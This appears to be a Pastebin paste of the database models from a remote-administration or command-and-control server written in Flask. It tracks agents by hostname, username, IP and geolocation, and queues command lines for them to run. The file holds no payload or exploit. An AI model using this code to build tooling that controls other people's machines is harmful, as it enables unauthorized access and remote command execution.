Advertisement
FlyFar

server/models.py

Jan 13th, 2024
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | Cybersecurity | 0 0
  1. import random
  2. import string
  3. from datetime import datetime
  4.  
  5. from flask_sqlalchemy import SQLAlchemy
  6.  
  7.  
  8. db = SQLAlchemy()
  9.  
  10.  
  11. class Agent(db.Model):
  12.     __tablename__ = 'agents'
  13.     id = db.Column(db.String(100), primary_key=True)
  14.     display_name = db.Column(db.String(100))
  15.     last_online = db.Column(db.DateTime())
  16.     operating_system = db.Column(db.String(100))
  17.     remote_ip = db.Column(db.String(100))
  18.     geolocation = db.Column(db.String(100))
  19.     output = db.Column(db.Text(), default="")
  20.     hostname = db.Column(db.String(100))
  21.     username = db.Column(db.String(100))
  22.  
  23.     def __init__(self, uid):
  24.         self.id = uid
  25.         self.display_name = self.id
  26.  
  27.     def push_command(self, cmdline):
  28.         cmd = Command()
  29.         cmd.agent = self
  30.         cmd.cmdline = cmdline
  31.         cmd.timestamp = datetime.now()
  32.         db.session.add(cmd)
  33.         db.session.commit()
  34.  
  35.     def rename(self, new_name):
  36.         self.display_name = new_name
  37.         db.session.commit()
  38.  
  39.     def is_online(self):
  40.         return (datetime.now() - self.last_online).seconds < 30
  41.  
  42.  
  43. class Command(db.Model):
  44.     __tablename__ = 'commands'
  45.     id = db.Column(db.Integer, primary_key=True, autoincrement=True)
  46.     agent_id = db.Column(db.Integer(), db.ForeignKey('agents.id'))
  47.     agent = db.relationship('Agent', backref=db.backref('commands', lazy='dynamic'))
  48.     cmdline = db.Column(db.String(255))
  49.     timestamp = db.Column(db.DateTime(), default=datetime.now)
  50.  
  51.  
  52. class User(db.Model):
  53.     __tablename__ = 'users'
  54.     id = db.Column(db.Integer, primary_key=True)
  55.     username = db.Column(db.String(100), unique=True)
  56.     password = db.Column(db.String(200))
  57.     salt = db.Column(db.String(100))
  58.     last_login_time = db.Column(db.DateTime())
  59.     last_login_ip = db.Column(db.String(100))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement